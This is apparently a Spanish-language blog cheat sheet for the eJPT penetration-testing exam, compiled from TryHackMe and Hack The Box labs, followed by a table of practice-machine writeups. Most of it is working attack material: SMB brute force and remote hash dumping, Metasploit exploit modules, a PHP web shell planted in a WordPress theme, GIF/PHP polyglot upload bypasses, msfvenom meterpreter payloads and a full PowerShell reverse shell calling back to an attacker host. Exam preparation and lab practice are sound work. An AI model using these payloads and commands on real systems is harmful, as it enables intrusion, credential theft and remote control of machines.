eJPT Cheat Sheet - Guía Práctica y Recopilación de Máquinas

Recopilatorio completo de comandos, herramientas, metodologías paso a paso y la guía de 17 máquinas de práctica para superar con éxito el examen eJPT.

eJPT Cheat Sheet - Guía Práctica y Recopilación de Máquinas

Recopilatorio de comandos usados en el laboratorio de TryHackMe eJPT y durante la preparación del examen. Una guía práctica paso a paso para auditoría de sistemas, pivoting, explotación y post-explotación.


1. ENUMERACIÓN INICIAL

Escaneo de puertos básico

nmap -Pn -p- -T4 192.168.100.50 -oG allports.txt

Enumerado detallado con versiones

nmap -sV -sC -p21,22,25,80,139,445,3306,3389 192.168.100.52 -oN detailed.txt

Script de vuln scanning

nmap --script default,vuln,safe -p puertos -n -Pn IP

2. ENUMERACIÓN WEB

WordPress scanning

wpscan --url wordpress.local
wpscan --url wordpress.local --enumerate u

HTTP version detection (Metasploit)

use auxiliary/scanner/http/http_version
set RHOSTS 192.168.100.50
set THREADS 5
run

Curl básico

curl -s http://192.168.100.50/todo.txt
curl -v http://target/

3. FTP - ACCESO ANÓNIMO

Conectar con FTP anónimo

ftp 192.168.100.51
# usuario: anonymous
# password: (dejar en blanco)
ls
get archivo.txt

Descargar archivos por FTP desde bash

ftp -n 192.168.100.51 << EOF
quote USER anonymous
quote PASS anonymous
ls
get updates.txt
EOF

4. SMB/SAMBA

Enumeración SMB

use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.100.51
run

Brute force SMB (Metasploit)

use auxiliary/scanner/smb/smb_login
set RHOSTS 192.168.100.55
set SMBUser admin
set SMBPass blanca
set PASS_FILE /path/to/wordlist.txt
run

CrackMapExec - Brute force SMB

crackmapexec smb 192.168.100.55 -u admin -p blanca
crackmapexec smb 192.168.100.55 -u /root/users.txt -p /root/passwords.txt

Ejecutar comando via SMB

crackmapexec smb 192.168.100.55 -u Administrator -p swordfish -x "whoami"
crackmapexec smb 192.168.100.55 -u Administrator -p swordfish -x "type C:\Users\Administrator\Desktop\flag.txt"

Volcar hashes SAM remotamente

impacket-secretsdump Administrator:swordfish@192.168.100.55

5. DRUPAL EXPLOTACIÓN

Drupal Drupalgeddon2 (CVE-2018-7600)

use exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS 192.168.100.52
set LHOST 192.168.100.5
set LPORT 8080
run

6. WORDPRESS RCE

Acceso a Theme Editor

Ir a: http://wordpress.local/wp-admin/theme-editor.php?file=index.php&theme=spintech

Inyectar shell PHP en 404.php

<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); die(); } ?>

Ejecutar comando via web shell

http://wordpress.local/wp-content/themes/spintech/404.php?cmd=whoami
http://wordpress.local/wp-content/themes/spintech/404.php?cmd=cmd%20/c%20dir

7. WORDPRESS FILE UPLOAD BYPASS

Polyglot GIF89a + PHP

# Crear archivo polyglot
echo -ne '\x47\x49\x46\x38\x39\x61' > shell.gif  # GIF89a header
echo '<?php system($_GET["cmd"]); ?>' >> shell.gif

# O directamente:
printf '\x47\x49\x46\x38\x39\x61' > shell.png
echo '<?php if(isset($_GET["cmd"])){ system($_GET["cmd"]); } ?>' >> shell.png

8. METERPRETER - GENERACIÓN DE PAYLOADS

Generar meter.exe con msfvenom

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.100.5 LPORT=8066 -f exe -o meter.exe
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.100.5 LPORT=9090 -f exe -o meter.exe

PowerShell reverse shell

$client=New-Object System.Net.Sockets.TCPClient('192.168.100.5',4444);$stream=$client.GetStream();[byte[]]$bytes=0..65535|%{0};while(($i=$stream.Read($bytes,0,$bytes.Length))-ne 0){$data=(New-Object -Value System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback=(iex $data 2>&1|Out-String);$sendback2=$sendback+'PS '+$(pwd).Path+'> ';sendbytes=([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbytes,0,$sendbytes.Length);$stream.Flush()};$client.Close()

9. METASPLOIT HANDLERS Y EXPLOITATION

Listener multi/handler

use multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.100.5
set LPORT 8066
run -j

psexec - Ejecutar comando en SMB

use exploit/windows/smb/psexec
set PAYLOAD windows/meterpreter/reverse_tcp
set RHOSTS 192.168.100.55
set SMBUser Administrator
set SMBPass swordfish
set LHOST 192.168.100.5
set LPORT 8066
run

OpenSMTPD RCE

use exploit/unix/smtp/opensmtpd_mail_from_rce
set RHOSTS 192.168.100.52
set LHOST 192.168.100.5
set LPORT 4445
run

10. POST-EXPLOTACIÓN - METERPRETER COMMANDS

Información del sistema

meterpreter > sysinfo
meterpreter > getuid
meterpreter > getsystem

Dumping de hashes

meterpreter > hashdump
meterpreter > load kiwi
meterpreter > lsa_dump_sam
meterpreter > creds_all

Migración de proceso

meterpreter > migrate -N lsass.exe

Background session

meterpreter > background

Listar sesiones

sessions -l
sessions -i <numero>

11. LINUX PRIVILEGE ESCALATION

Checks de sudo

sudo -l

Escalada via sudo find

find . -exec /bin/sh -p \; -quit

Ver hashes en /etc/shadow

cat /etc/shadow

12. HASH CRACKING

John the Ripper - NT NTLM

echo "user:1001:aad3b435b51404eeaad3b435b51404ee:HASH:::" > hashes.txt
john --format=NT --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
john --show --format=NT hashes.txt

John - Drupal SHA-512

echo '$S$DZcGD5qcb6xso1E/Mu6DJP4uPi5DfY28kBEyuIab8Pod1saBaImN' > drupal_hash.txt
john drupal_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

Hashcat - NT NTLM

hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt

13. PIVOTING - METASPLOIT AUTOROUTE

Establecer ruta hacia red interna

sessions -i <numero_session>
run autoroute -s 192.168.0.0/24
run autoroute -p    # verificar
background

O con módulo post

use post/multi/manage/autoroute
set SESSION <numero>
set SUBNET 192.168.0.0
set NETMASK 255.255.255.0
run

SOCKS Proxy

use auxiliary/server/socks_proxy
set VERSION 5
set SRVPORT 1080
set SRVHOST 127.0.0.1
run -j

14. PROXYCHAINS - ESCANEO A TRAVÉS DEL PIVOT

Configurar proxychains4.conf

nano /etc/proxychains4.conf

Cambiar a:

dynamic_chain
# strict_chain        ← comentar
# proxy_dns           ← comentar
...
[ProxyList]
socks5 127.0.0.1 1080

Escaneo TCP con proxychains

proxychains nmap -sT -Pn -n -p 22,80,445,3389,5985 192.168.0.51 2>/dev/null

Scanner Metasploit por autoroute (mejor opción)

use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.0.0/24
set PORTS 21,22,80,443,445,3389,8080
set THREADS 10
run

ARP Sweep para hosts vivos

use auxiliary/scanner/discovery/arp_sweep
set RHOSTS 192.168.0.0/24
run

15. RDP - REMOTE DESKTOP

Conectar por RDP

xfreerdp /u:Administrator /p:swordfish /v:192.168.100.55
xfreerdp /u:Administrator /p:swordfish /v:192.168.0.61 /cert-ignore

Información RDP via nmap

nmap -sT -Pn -n -p 3389 --script rdp-ntlm-info 192.168.0.61 2>/dev/null

16. DATABASE - MYSQL/MARIADB

Conectar a MySQL

mysql -u drupal -p
# password: syntex0421

Comandos SQL básicos

use drupal;
show tables;
select * from users;
select name, pass from users;

17. WINRM - WINDOWS REMOTE MANAGEMENT

Evil-WinRM

proxychains evil-winrm -i 192.168.0.61 -u Administrator -p swordfish

CrackMapExec WinRM

proxychains crackmapexec winrm 192.168.0.61 -u Administrator -p swordfish

18. HTTP SERVER - COMPARTIR ARCHIVOS

Python HTTP server (puerto 80)

cd /root
python3 -m http.server 80

Descargar desde Windows PowerShell

Invoke-WebRequest http://192.168.100.5/meter.exe -OutFile C:\Windows\Temp\meter.exe

19. NETCAT - CONEXIONES BÁSICAS

Escuchar en puerto

nc -lvnp 4445

Conectar a host

nc 192.168.100.52 25

20. INFORMACIÓN GENERAL

Puertos comunes objetivo

21   - FTP
22   - SSH
25   - SMTP
80   - HTTP
139  - NetBIOS
445  - SMB
3306 - MySQL
3307 - MariaDB (custom)
3389 - RDP
5985 - WinRM
8080 - HTTP (web service)
10000 - Webmin

Wordlists

/usr/share/wordlists/rockyou.txt    # 14M passwords
/usr/share/wordlists/dirb/common.txt  # web directories

Comandos Windows útiles

whoami
systeminfo
ipconfig
net user
net localgroup administrators
dir /s C:\Users\Administrator\flag.txt
type C:\Users\Administrator\Desktop\flag.txt

Comandos Linux útiles

id
uname -a
cat /etc/shadow
cat /etc/passwd
sudo -l
find / -name "flag.txt" 2>/dev/null

21. TROUBLESHOOTING

Meterpreter no conecta reverse shell

  • Probar con payload diferente (python, bash, netcat)
  • Cambiar puerto (80, 443, 8080)
  • Asegurarse que el listener esté activo ANTES de ejecutar

Proxychains muy lento

  • Usar scanners de Metasploit directamente (más rápido)
  • Escanear puertos específicos, no rangos enteros
  • Cambiar a dynamic_chain en proxychains4.conf

SMB brute force sin resultados

  • Verificar que los usuarios existen (via enumeración previa)
  • Probar con wordlist rockyou.txt
  • Usar CrackMapExec en lugar de módulo SMB

WordPress shell devuelve blanco

  • Windows: usar cmd /c antes de comandos
  • Prefijo todos los comandos: cmd /c whoami
  • Si falla, usar Theme Editor en lugar de upload

FLUJO TÍPICO DEL LAB

  1. Escaneo → nmap, servicios abiertos
  2. Enumeración web → WordPress, Drupal, IIS
  3. RCE → Theme editor, Drupalgeddon2, FTP+webshell
  4. Reverse shell → meterpreter/cmd
  5. Escalada local → sudo, getsystem
  6. Dumping hashes → hashdump, secretsdump
  7. Cracking → john, hashcat
  8. Pivoting → autoroute, socks proxy
  9. Red interna → scanner, exploits adicionales
  10. Flags → recolectar de Desktop, /root, /home

MÁQUINAS DE PRÁCTICA RECOMENDADAS (WRITEUPS DEL BLOG)

Para preparar eficazmente el examen eJPT, la práctica real resolviendo máquinas en entornos vulnerables es fundamental. A continuación se recogen las 17 máquinas documentadas paso a paso en la sección de Writeups de este sitio web. Se estructuran por sistema operativo y plataforma (TryHackMe y Hack The Box), destacando los conceptos y vectores técnicos trabajados en cada una:

🐧 Máquinas Linux

MáquinaPlataformaDificultadVectores y Conceptos ClaveEnlace al Writeup
AnonymousTryHackMeEasyPermisos FTP anónimos de escritura, manipulación de Cronjobs (clean.sh), SUID GTFOBins.Ver Writeup
BlogTryHackMeMediumEnumeración de recursos Samba, WordPress Crop-Image RCE, evasión de Rabbit Holes, SUID con ltrace.Ver Writeup
Brooklyn Nine-NineTryHackMeEasyFTP anónimo, esteganografía (stegseek), fuerza bruta SSH (hydra), escalada Sudo en less.Ver Writeup
Easy PeasyTryHackMeEasyNginx/Apache, fuzzing de puertos y rutas, esteganografía, cracking de hashes, tareas cron.Ver Writeup
GoldenEyeTryHackMeMediumEnumeración POP3 con hydra, Moodle CMS RCE, exiftool, Kernel Exploit OverlayFS (CVE-2015-1328).Ver Writeup
HawkHack The BoxMediumArchivo OpenSSL cifrado en FTP, Drupal 7 PHP injection, SSH escape, SSH Tunneling a H2 Database (Java RCE).Ver Writeup
HA Joker CTFTryHackMeMediumIntrusión en Joomla CMS, fuerza bruta Hydra, escalada de privilegios mediante contenedores LXD/LXC.Ver Writeup
LameHack The BoxEasyVulnerabilidad Samba 3.0.20 username map script (CVE-2007-2447), RCE directo a root.Ver Writeup
PosterTryHackMeEasyExplotación de PostgreSQL con Metasploit, cracking de hashes, escalada vía sudo.Ver Writeup
RootMeTryHackMeEasyFuzzing web (gobuster), bypass de extensión en subida de ficheros (.phtml), binario SUID Python.Ver Writeup
SourceTryHackMeEasyWebmin 1.920 backdoor RCE (CVE-2019-15107), shell root directa.Ver Writeup
Wordpress: CVE-2021-29447TryHackMeEasyWordPress XXE mediante archivo WAV malicioso, lectura de /etc/passwd y wp-config.php, MySQL cracking.Ver Writeup

🪟 Máquinas Windows

MáquinaPlataformaDificultadVectores y Conceptos ClaveEnlace al Writeup
BlueHack The BoxEasyWindows 7, SMBv1 EternalBlue (MS17-010), Metasploit a NT AUTHORITY\SYSTEM.Ver Writeup
DevelHack The BoxEasyIIS 7.5, FTP anónimo con permiso de escritura, subida de webshell ASPX, MS10-015 (Kitrap0D).Ver Writeup
GrannyHack The BoxEasyIIS 6.0 WebDAV buffer overflow (CVE-2017-7269), migración de procesos Meterpreter, MS14-058.Ver Writeup
LegacyHack The BoxEasyWindows XP, SMBv1 MS08-067 (CVE-2008-4250), Metasploit a NT AUTHORITY\SYSTEM.Ver Writeup
LoveHack The BoxEasySubdominios SSL, SSRF, Voting System 1.0 RCE, AlwaysInstallElevated con payload MSI.Ver Writeup

CERTIFICACIÓN OFICIAL eJPT

Como resultado de la preparación práctica y la aplicación de los comandos y metodologías expuestos en esta guía, he obtenido la certificación oficial eJPT (eLearnSecurity Junior Penetration Tester) expedida por INE Security.

Certificado Oficial eJPT - Isidro Benitez Zapico